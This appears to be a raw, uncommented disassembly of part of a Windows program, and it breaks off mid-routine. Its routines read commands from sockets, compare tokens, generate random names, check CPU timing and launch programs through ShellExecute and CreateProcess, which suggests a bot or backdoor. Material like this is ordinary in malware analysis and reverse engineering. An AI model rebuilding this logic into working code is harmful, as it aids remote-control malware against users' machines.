		mov	al, byte_4E8E44
		test	al, al
		jz	loc_41B6AF
		test	esi, esi
		jnz	short loc_41B64E
		push	80Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B64A
		push	esi
		mov	ecx, eax
		call	sub_401C49
		jmp	short loc_41B64C
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5B0+8Ej
		xor	eax, eax


loc_41B64C:				; CODE XREF: sub_41B5B0+98j
		mov	esi, eax


loc_41B64E:				; CODE XREF: sub_41B5B0+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B95
		test	al, al
		jnz	short loc_41B667
		push	7D0h
		call	ebp
		jmp	short loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B667:				; CODE XREF: sub_41B5B0+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_4018A2
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B6A4
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B6A4:				; CODE XREF: sub_41B5B0+B5j
					; sub_41B5B0+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B61E


loc_41B6AF:				; CODE XREF: sub_41B5B0+3Ej
					; sub_41B5B0+68j ...
		mov	ecx, ebx
		call	sub_4014E7
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B6C0:				; CODE XREF: sub_41B5B0+Bj
					; sub_41B5B0+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B5B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B720:				; CODE XREF: ___:00401C35j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B795
		mov	esi, ebp


loc_41B73F:				; CODE XREF: ___:0041B793j
		cmp	esi, ebx
		jz	short loc_41B795
		cmp	[esp+18h], bl
		jz	short loc_41B795
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		call	near ptr 71AB615Ah
		nop
		cmp	eax, ebx
		jz	short loc_41B7A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B7A4
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_41B79D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B780
		cmp	al, 0Dh
		jz	short loc_41B780
		cmp	al, bl
		jnz	short loc_41B788


loc_41B780:				; CODE XREF: ___:0041B776j
					; ___:0041B77Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B788:				; CODE XREF: ___:0041B77Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B73F


loc_41B795:				; CODE XREF: ___:0041B73Bj
					; ___:0041B741j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B79D:				; CODE XREF: ___:0041B76Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B7A4:				; CODE XREF: ___:0041B75Aj
					; ___:0041B75Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B7E0	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B84A
		mov	edi, ebp


loc_41B7FF:				; CODE XREF: sub_41B7E0+68j
		cmp	edi, ebx
		jz	short loc_41B84A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B84A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		test	eax, eax
		jz	short loc_41B859
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B82A
		cmp	al, bl
		jnz	short loc_41B83D


loc_41B82A:				; CODE XREF: sub_41B7E0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B837
		mov	[esi+ebp-1], bl
		jmp	short loc_41B839
; ---------------------------------------------------------------------------


loc_41B837:				; CODE XREF: sub_41B7E0+4Fj
		mov	[edi], bl


loc_41B839:				; CODE XREF: sub_41B7E0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B83D:				; CODE XREF: sub_41B7E0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B7FF


loc_41B84A:				; CODE XREF: sub_41B7E0+1Bj
					; sub_41B7E0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B859:				; CODE XREF: sub_41B7E0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B7E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B880:				; CODE XREF: ___:00401AF0j
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B8DB


loc_41B8A6:				; CODE XREF: ___:0041B8D9j
		push	3
		push	1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B8C7
		dec	eax
		jz	short loc_41B8C1
		dec	eax
		jnz	short loc_41B8D6
		push	7Ah
		push	61h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C1:				; CODE XREF: ___:0041B8B6j
		push	5Ah
		push	41h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C7:				; CODE XREF: ___:0041B8B3j
		push	39h
		push	30h


loc_41B8CB:				; CODE XREF: ___:0041B8BFj
					; ___:0041B8C5j
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B8D6:				; CODE XREF: ___:0041B8B9j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B8A6


loc_41B8DB:				; CODE XREF: ___:0041B8A4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: sub_401424j
		rdtsc
		retn
sub_41B900	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B920	proc near		; CODE XREF: sub_4017FDj

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_5118D8
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B92F:				; CODE XREF: sub_41B920+43j
					; sub_41B920+4Dj
		call	sub_401424
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_401424
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_437C60
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_437C60
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B92F
		jb	short loc_41B96F
		cmp	esi, 0F4240h
		ja	short loc_41B92F


loc_41B96F:				; CODE XREF: sub_41B920+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_437BE0
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B9F9
		jb	short loc_41B98F
		cmp	ecx, 50h
		jnb	short loc_41B998


loc_41B98F:				; CODE XREF: sub_41B920+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B998:				; CODE XREF: sub_41B920+6Dj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9A3
		cmp	ecx, 47h
		jnb	short loc_41B9AC


loc_41B9A3:				; CODE XREF: sub_41B920+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B9AC:				; CODE XREF: sub_41B920+81j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9B7
		cmp	ecx, 37h
		jnb	short loc_41B9C0


loc_41B9B7:				; CODE XREF: sub_41B920+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B9C0:				; CODE XREF: sub_41B920+95j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9CB
		cmp	ecx, 26h
		jnb	short loc_41B9D4


loc_41B9CB:				; CODE XREF: sub_41B920+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B9D4:				; CODE XREF: sub_41B920+A9j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9DF
		cmp	ecx, 1Eh
		jnb	short loc_41B9E8


loc_41B9DF:				; CODE XREF: sub_41B920+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B9E8:				; CODE XREF: sub_41B920+BDj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9F3
		cmp	ecx, 0Ah
		jnb	short loc_41B9F9


loc_41B9F3:				; CODE XREF: sub_41B920+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B9F9:				; CODE XREF: sub_41B920+66j
					; sub_41B920+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BA50	proc near		; CODE XREF: sub_402040j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41BA50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_449729
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BBAF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_40142E
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C71
		mov	ebp, eax
		call	sub_401F0A
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013E3
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		nop
		call	near ptr 2820000h
		test	eax, eax
		jnz	short loc_41BAE6
		mov	edi, offset byte_448F30
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41BAE6:				; CODE XREF: sub_41BA50+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41BAEF:				; CODE XREF: sub_41BA50+A9j
		cmp	ecx, eax
		jnz	short loc_41BAF5
		mov	bl, 1


loc_41BAF5:				; CODE XREF: sub_41BA50+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41BAEF
		mov	eax, 61h


loc_41BB00:				; CODE XREF: sub_41BA50+BAj
		cmp	ecx, eax
		jnz	short loc_41BB06
		mov	bl, 1


loc_41BB06:				; CODE XREF: sub_41BA50+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BB00
		test	bl, bl
		jnz	short loc_41BB32
		mov	edi, offset byte_448F30
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BB32:				; CODE XREF: sub_41BA50+BEj
		mov	esi, dword_511AC8
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BBAF:				; CODE XREF: sub_41BA50+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_40142E
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		nop
		call	near ptr 27F0C4Bh
		push	eax
		nop
		call	near ptr 77C371BCh
		mov	edi, dword_511AC8
		add	esp, 4
		call	edi	; rand
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015E1
		test	esi, esi
		jle	short loc_41BC4E


loc_41BBF8:				; CODE XREF: sub_41BA50+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_40142E
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FDC
		call	edi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_444E54
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BBF8


loc_41BC4E:				; CODE XREF: sub_41BA50+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41BA50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD20:				; CODE XREF: ___:00401573j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BD2F
		cmp	al, 9
		jz	short loc_41BD2F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BD2F:				; CODE XREF: ___:0041BD26j
					; ___:0041BD2Aj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD50:				; CODE XREF: ___:00401EF6j
		mov	eax, [esp+4]
		push	offset dword_444E5C
		push	eax
		nop
		call	near ptr 77C3F010h
		add	esp, 8
		test	eax, eax
		jz	short loc_41BD74
		push	eax
		call	near ptr 77C40AB1h
		nop
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BD74:				; CODE XREF: ___:0041BD65j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BD90	proc near		; CODE XREF: sub_401483j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BFEE
		mov	esi, offset byte_448F30
		mov	eax, edi


loc_41BDAA:				; CODE XREF: sub_41BD90+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		test	cl, cl
		jz	short loc_41BDCE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BDAA


loc_41BDCE:				; CODE XREF: sub_41BD90+26j
		xor	eax, eax
		jmp	short loc_41BDD7
; ---------------------------------------------------------------------------


loc_41BDD2:				; CODE XREF: sub_41BD90+22j
					; sub_41BD90+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BDD7:				; CODE XREF: sub_41BD90+40j
		test	eax, eax
		jz	loc_41BFEE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	edi, dword_511B00
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_4447F8
		push	ecx
		call	edi	; strtok
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BFEE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BE17:				; CODE XREF: sub_41BD90+A4j
		push	offset dword_4447F8
		push	0
		call	edi	; strtok
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BFEE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BE17
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_444E78
		mov	eax, ebp


loc_41BE41:				; CODE XREF: sub_41BD90+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		test	dl, dl
		jz	short loc_41BE65
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE41


loc_41BE65:				; CODE XREF: sub_41BD90+BDj
		xor	eax, eax
		jmp	short loc_41BE6E
; ---------------------------------------------------------------------------


loc_41BE69:				; CODE XREF: sub_41BD90+B9j
					; sub_41BD90+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BE6E:				; CODE XREF: sub_41BD90+D7j
		test	eax, eax
		jnz	short loc_41BE7C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE7C:				; CODE XREF: sub_41BD90+E0j
		mov	esi, offset dword_444E74
		mov	eax, ebp


loc_41BE83:				; CODE XREF: sub_41BD90+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		test	dl, dl
		jz	short loc_41BEA7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE83


loc_41BEA7:				; CODE XREF: sub_41BD90+FFj
		xor	eax, eax
		jmp	short loc_41BEB0
; ---------------------------------------------------------------------------


loc_41BEAB:				; CODE XREF: sub_41BD90+FBj
					; sub_41BD90+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BEB0:				; CODE XREF: sub_41BD90+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BEFA
		mov	esi, offset dword_444E70
		mov	edx, edi


loc_41BEBF:				; CODE XREF: sub_41BD90+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BEE7
		test	bl, bl
		jz	short loc_41BEE3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BEE7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BEBF


loc_41BEE3:				; CODE XREF: sub_41BD90+13Bj
		xor	edx, edx
		jmp	short loc_41BEEC
; ---------------------------------------------------------------------------


loc_41BEE7:				; CODE XREF: sub_41BD90+137j
					; sub_41BD90+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BEEC:				; CODE XREF: sub_41BD90+155j
		test	edx, edx
		jnz	short loc_41BEFA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEFA:				; CODE XREF: sub_41BD90+126j
					; sub_41BD90+15Ej
		mov	esi, offset dword_444E6C
		mov	edx, ebp


loc_41BF01:				; CODE XREF: sub_41BD90+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF29
		test	bl, bl
		jz	short loc_41BF25
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF29
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF01


loc_41BF25:				; CODE XREF: sub_41BD90+17Dj
		xor	edx, edx
		jmp	short loc_41BF2E
; ---------------------------------------------------------------------------


loc_41BF29:				; CODE XREF: sub_41BD90+179j
					; sub_41BD90+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF2E:				; CODE XREF: sub_41BD90+197j
		test	edx, edx
		jnz	short loc_41BF74
		mov	esi, offset dword_444E68
		mov	edx, edi


loc_41BF39:				; CODE XREF: sub_41BD90+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF61
		test	bl, bl
		jz	short loc_41BF5D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF61
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF39


loc_41BF5D:				; CODE XREF: sub_41BD90+1B5j
		xor	edx, edx
		jmp	short loc_41BF66
; ---------------------------------------------------------------------------


loc_41BF61:				; CODE XREF: sub_41BD90+1B1j
					; sub_41BD90+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF66:				; CODE XREF: sub_41BD90+1CFj
		test	edx, edx
		jnz	short loc_41BF74
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BF74:				; CODE XREF: sub_41BD90+1A0j
					; sub_41BD90+1D8j
		mov	esi, offset dword_444E64
		mov	ecx, ebp


loc_41BF7B:				; CODE XREF: sub_41BD90+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		test	dl, dl
		jz	short loc_41BF9F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BF7B


loc_41BF9F:				; CODE XREF: sub_41BD90+1F7j
		xor	ecx, ecx
		jmp	short loc_41BFA8
; ---------------------------------------------------------------------------


loc_41BFA3:				; CODE XREF: sub_41BD90+1F3j
					; sub_41BD90+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BFA8:				; CODE XREF: sub_41BD90+211j
		test	ecx, ecx
		jnz	short loc_41BFEE
		mov	esi, offset dword_444E60
		mov	eax, edi


loc_41BFB3:				; CODE XREF: sub_41BD90+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		test	cl, cl
		jz	short loc_41BFD7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BFB3


loc_41BFD7:				; CODE XREF: sub_41BD90+22Fj
		xor	eax, eax
		jmp	short loc_41BFE0
; ---------------------------------------------------------------------------


loc_41BFDB:				; CODE XREF: sub_41BD90+22Bj
					; sub_41BD90+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BFE0:				; CODE XREF: sub_41BD90+249j
		test	eax, eax
		jnz	short loc_41BFEE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BFEE:				; CODE XREF: sub_41BD90+Dj
					; sub_41BD90+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BD90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C0A0	proc near		; CODE XREF: sub_402022j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		mov	eax, [esp+18h+arg_0]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	short loc_41C0F9
		mov	bl, 1


loc_41C0F9:				; CODE XREF: sub_41C0A0+55j
		push	esi
		nop
		call	near ptr 71AB9639h
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C108:				; CODE XREF: sub_41C0A0+18j
					; sub_41C0A0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41C0A0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C130	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		call	near ptr 7CA41110h
		nop
		cmp	eax, 20h
		setnl	al
		retn
sub_41C130	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C170	proc near		; CODE XREF: sub_402167j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		call	near ptr 2800565h
		nop
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C170	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C1E0:				; CODE XREF: ___:00401884j
		sub	esp, 354h
		mov	eax, off_444E84
		mov	ecx, off_444E88
		mov	[esp+0], eax
		mov	al, byte_448F30
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
